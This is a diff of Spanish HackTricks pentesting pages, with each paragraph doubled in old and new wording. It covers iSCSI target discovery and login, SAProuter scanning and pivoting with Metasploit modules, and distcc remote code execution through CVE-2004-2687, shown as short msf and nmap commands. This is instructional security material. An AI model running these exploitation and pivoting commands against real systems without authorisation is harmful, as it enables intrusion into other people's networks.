* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
Desde [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
De [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
> En informática, **iSCSI** es un acrónimo de **Internet Small Computer Systems Interface**, un estándar de redes de almacenamiento basado en el Protocolo de Internet (IP) para vincular instalaciones de almacenamiento de datos. Proporciona acceso a nivel de bloque a dispositivos de almacenamiento al transportar comandos SCSI a través de una red TCP/IP. iSCSI se utiliza para facilitar transferencias de datos en intranets y para administrar almacenamiento a largas distancias. Puede usarse para transmitir datos en redes de área local (LAN), redes de área amplia (WAN) o Internet y puede permitir el almacenamiento y recuperación de datos independientes de la ubicación.
> En computación, **iSCSI** es un acrónimo de **Internet Small Computer Systems Interface**, un estándar de red de almacenamiento basado en el Protocolo de Internet (IP) para vincular instalaciones de almacenamiento de datos. Proporciona acceso a nivel de bloque a dispositivos de almacenamiento al transportar comandos SCSI a través de una red TCP/IP. iSCSI se utiliza para facilitar transferencias de datos a través de intranets y para gestionar almacenamiento a largas distancias. Puede ser utilizado para transmitir datos a través de redes de área local (LAN), redes de área amplia (WAN) o Internet y puede permitir el almacenamiento y recuperación de datos independiente de la ubicación.
>
> El protocolo permite a los clientes (llamados iniciadores) enviar comandos SCSI (CDBs) a dispositivos de almacenamiento (objetivos) en servidores remotos. Es un protocolo de red de área de almacenamiento (SAN), que permite a las organizaciones consolidar el almacenamiento en matrices de almacenamiento mientras proporciona a los clientes (como servidores de bases de datos y web) la ilusión de discos SCSI conectados localmente. Compite principalmente con Fibre Channel, pero a diferencia de Fibre Channel tradicional que generalmente requiere cableado dedicado, iSCSI puede ejecutarse a largas distancias utilizando la infraestructura de red existente.
> El protocolo permite a los clientes (llamados iniciadores) enviar comandos SCSI (CDBs) a dispositivos de almacenamiento (destinos) en servidores remotos. Es un protocolo de red de área de almacenamiento (SAN), que permite a las organizaciones consolidar almacenamiento en arreglos de almacenamiento mientras proporciona a los clientes (como servidores de bases de datos y web) la ilusión de discos SCSI conectados localmente. Principalmente compite con Fibre Channel, pero a diferencia del Fibre Channel tradicional que generalmente requiere cableado dedicado, iSCSI puede ejecutarse a largas distancias utilizando la infraestructura de red existente.
**Puerto predeterminado:** 3260
**Puerto por defecto:** 3260
```
PORT STATE SERVICE VERSION
3260/tcp open iscsi?
@ -35,24 +36,24 @@ Este script indicará si se requiere autenticación.
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [Montar ISCSI en Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use_iSCSI_target_on_Linux)
### [Montar ISCSI en Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
**Nota:** Puede suceder que al descubrir tus objetivos, estos aparezcan listados bajo una dirección IP diferente. Esto tiende a ocurrir si el servicio iSCSI está expuesto a través de NAT o una IP virtual. En casos como estos, `iscsiadmin` fallará al conectarse. Esto requiere dos ajustes: uno al nombre del directorio del nodo creado automáticamente por tus actividades de descubrimiento, y otro al archivo `default` contenido dentro de este directorio.
**Nota:** Puede que descubra que cuando se descubren sus objetivos, se enumeran bajo una dirección IP diferente. Esto tiende a suceder si el servicio iSCSI está expuesto a través de NAT o una IP virtual. En casos como estos, `iscsiadmin` fallará al intentar conectarse. Esto requiere dos ajustes: uno en el nombre del directorio del nodo creado automáticamente por sus actividades de descubrimiento, y otro en el archivo `default` contenido dentro de este directorio.
Por ejemplo, si estás intentando conectarte a un objetivo iSCSI en 123.123.123.123 en el puerto 3260. El servidor que expone el objetivo iSCSI en realidad está en 192.168.1.2 pero expuesto a través de NAT. isciadm registrará la dirección _interna_ en lugar de la dirección _pública_:
Por ejemplo, está intentando conectarse a un objetivo iSCSI en 123.123.123.123 en el puerto 3260. El servidor que expone el objetivo iSCSI está en realidad en 192.168.1.2 pero expuesto a través de NAT. isciadm registrará la dirección _interna_ en lugar de la dirección _pública_:
```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[...]
```
Este comando creará un directorio en tu sistema de archivos de la siguiente manera:
Este comando creará un directorio en su sistema de archivos así:
```
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
```
Dentro del directorio, hay un archivo predeterminado con todas las configuraciones necesarias para conectarse al objetivo.
1. Renombra `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` a `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, cambia la configuración `node.conn[0].address` para apuntar a 123.123.123.123 en lugar de 192.168.1.2. Esto se puede hacer con un comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
1. Cambia el nombre de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` a `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, cambia la configuración de `node.conn[0].address` para que apunte a 123.123.123.123 en lugar de 192.168.1.2. Esto se puede hacer con un comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
Ahora puedes montar el objetivo según las instrucciones en el enlace.
@ -62,30 +63,30 @@ Ahora puedes montar el objetivo según las instrucciones en el enlace.
```bash
sudo apt-get install open-iscsi
```
Ejemplo de [documentos de iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Ejemplo de [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
En primer lugar, necesitas **descubrir el nombre de los objetivos** detrás de la IP:
Primero que nada, necesitas **descubrir los nombres de los objetivos** detrás de la IP:
```bash
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
```
_Nota que mostrará la **IP y el puerto de las interfaces** donde puedes **alcanzar** esos **objetivos**. Incluso puede **mostrar IPs internas o IPs diferentes** a la que utilizaste._
_Note que mostrará la I**P y el puerto de las interfaces** donde puedes **alcanzar** esos **objetivos**. Incluso puede **mostrar IPs internas o diferentes IPs** de la que usaste._
Luego **capturas la 2da parte de la cadena impresa de cada línea** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ de la primera línea) y **intentas iniciar sesión**:
Luego **capturas la 2ª parte de la cadena impresa de cada línea** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ de la primera línea) y **intentas iniciar sesión**:
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Entonces, puedes **cerrar sesión** usando `logout`
Entonces, puedes **logout** usando `logout`
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Podemos encontrar **más información** al simplemente usar **sin** ningún parámetro `--login`/`--logout`
Podemos encontrar **más información** sobre ello simplemente usando **sin** ningún parámetro `--login`/`--logout`
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
# BEGIN RECORD 2.0-873
@ -172,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,36 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
```text
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
```
## Comprendiendo la Penetración de SAProuter con Metasploit
Este es un resumen de la publicación de [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
SAProuter actúa como un proxy inverso para sistemas SAP, principalmente para controlar el acceso entre internet y las redes internas de SAP. Comúnmente se expone a internet permitiendo el puerto TCP 3299 a través de firewalls organizativos. Esta configuración hace que SAProuter sea un objetivo atractivo para pruebas de penetración porque podría servir como una puerta de entrada a redes internas de alto valor.
## Comprendiendo la penetración de SAProuter con Metasploit
**Escaneo y Recopilación de Información**
SAProuter actúa como un proxy inverso para sistemas SAP, principalmente para controlar el acceso entre internet y redes internas de SAP. Comúnmente se expone a internet permitiendo el puerto TCP 3299 a través de los firewalls organizacionales. Esta configuración hace que SAProuter sea un objetivo atractivo para pentesting porque podría servir como una puerta de entrada a redes internas de alto valor.
Inicialmente, se realiza un escaneo para identificar si un router SAP está en ejecución en una IP dada utilizando el módulo **sap_service_discovery**. Este paso es crucial para establecer la presencia de un router SAP y su puerto abierto.
**Escaneo y recopilación de información**
Inicialmente, se realiza un escaneo para identificar si un router SAP está funcionando en una IP dada utilizando el módulo **sap_service_discovery**. Este paso es crucial para establecer la presencia de un router SAP y su puerto abierto.
```text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
```
Tras el descubrimiento, se realiza una investigación adicional sobre la configuración del SAP router con el módulo **sap_router_info_request** para potencialmente revelar detalles de la red interna.
Tras el descubrimiento, se lleva a cabo una investigación adicional sobre la configuración del enrutador SAP con el módulo **sap_router_info_request** para revelar potencialmente detalles de la red interna.
```text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
@ -35,14 +38,16 @@ msf auxiliary(sap_router_info_request) > run
```
**Enumerando Servicios Internos**
Con las perspectivas de la red interna obtenidas, se utiliza el módulo **sap_router_portscanner** para sondear hosts y servicios internos a través del SAProuter, lo que permite una comprensión más profunda de las configuraciones de redes y servicios internos.
Con la información obtenida de la red interna, el módulo **sap_router_portscanner** se utiliza para sondear hosts y servicios internos a través del SAProuter, lo que permite una comprensión más profunda de las redes internas y las configuraciones de servicios.
```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
```
La flexibilidad de este módulo para dirigirse a instancias y puertos SAP específicos lo convierte en una herramienta efectiva para la exploración detallada de redes internas.
**Enumeración Avanzada y Mapeo de ACL**
Un escaneo adicional puede revelar cómo están configuradas las Listas de Control de Acceso (ACLs) en el SAProuter, detallando qué conexiones están permitidas o bloqueadas. Esta información es fundamental para comprender las políticas de seguridad y las posibles vulnerabilidades.
Un escaneo adicional puede revelar cómo se configuran las Listas de Control de Acceso (ACL) en el SAProuter, detallando qué conexiones están permitidas o bloqueadas. Esta información es fundamental para entender las políticas de seguridad y las posibles vulnerabilidades.
```text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
@ -51,9 +56,9 @@ msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
En escenarios donde la información directa del SAProuter es limitada, se pueden aplicar técnicas como la enumeración ciega. Este enfoque intenta adivinar y verificar la existencia de nombres de host internos, revelando posibles objetivos sin direcciones IP directas.
**Aprovechando la Información para Pruebas de Penetración**
**Aprovechando la Información para Pentesting**
Una vez mapeada la red e identificados los servicios accesibles, los probadores de penetración pueden utilizar las capacidades de proxy de Metasploit para pivotar a través del SAProuter para una exploración y explotación adicionales de los servicios internos de SAP.
Habiendo mapeado la red e identificado los servicios accesibles, los pentesters pueden utilizar las capacidades de proxy de Metasploit para pivotar a través del SAProuter para una mayor exploración y explotación de los servicios SAP internos.
```text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
@ -61,10 +66,9 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
```
**Conclusión**
Este enfoque subraya la importancia de las configuraciones seguras de SAProuter y destaca el potencial para acceder a redes internas a través de pruebas de penetración dirigidas. Asegurar adecuadamente los routers de SAP y comprender su papel en la arquitectura de seguridad de la red es crucial para protegerse contra accesos no autorizados.
Para obtener información más detallada sobre los módulos de Metasploit y su uso, visita la [base de datos de Rapid7](http://www.rapid7.com/db).
Este enfoque subraya la importancia de configuraciones seguras de SAProuter y destaca el potencial de acceso a redes internas a través de pruebas de penetración dirigidas. Asegurar adecuadamente los routers SAP y comprender su papel en la arquitectura de seguridad de la red es crucial para protegerse contra accesos no autorizados.
Para obtener información más detallada sobre los módulos de Metasploit y su uso, visita [la base de datos de Rapid7](http://www.rapid7.com/db).
## **Referencias**
@ -76,16 +80,17 @@ Para obtener información más detallada sobre los módulos de Metasploit y su u
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
**Distcc** es una herramienta que mejora el **proceso de compilación** al utilizar la **potencia de procesamiento inactiva** de otras computadoras en la red. Cuando **distcc** se configura en una máquina, esta máquina es capaz de distribuir sus **tareas de compilación** a otro sistema. Este sistema receptor debe estar ejecutando el **daemon distccd** y debe tener un **compilador compatible** instalado para procesar el código enviado.
**Distcc** es una herramienta que mejora el **proceso de compilación** al utilizar la **potencia de procesamiento inactiva** de otras computadoras en la red. Cuando **distcc** está configurado en una máquina, esta máquina es capaz de distribuir sus **tareas de compilación** a otro sistema. Este sistema receptor debe estar ejecutando el **daemon distccd** y debe tener un **compilador compatible** instalado para procesar el código enviado.
**Puerto predeterminado:** 3632
**Puerto por defecto:** 3632
```
PORT STATE SERVICE
3632/tcp open distccd
```
# Explotación
Verificar si es vulnerable a **CVE-2004-2687** para ejecutar código arbitrario:
Verifique si es vulnerable a **CVE-2004-2687** para ejecutar código arbitrario:
```bash
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
```
# Shodan
_No creo que Shodan detecte este servicio._
_No creo que shodan detecte este servicio._
# Recursos
# Resources
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
@ -41,16 +42,17 @@ _No creo que Shodan detecte este servicio._
Post creado por **Álex B (@r1p)**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
**Subversion** es un **sistema de control de versiones** centralizado que desempeña un papel crucial en la gestión de datos tanto actuales como históricos de proyectos. Siendo una herramienta de **código abierto**, opera bajo la **licencia Apache**. Este sistema es ampliamente reconocido por sus capacidades en **versionado de software y control de revisiones**, asegurando que los usuarios puedan realizar un seguimiento de los cambios a lo largo del tiempo de manera eficiente.
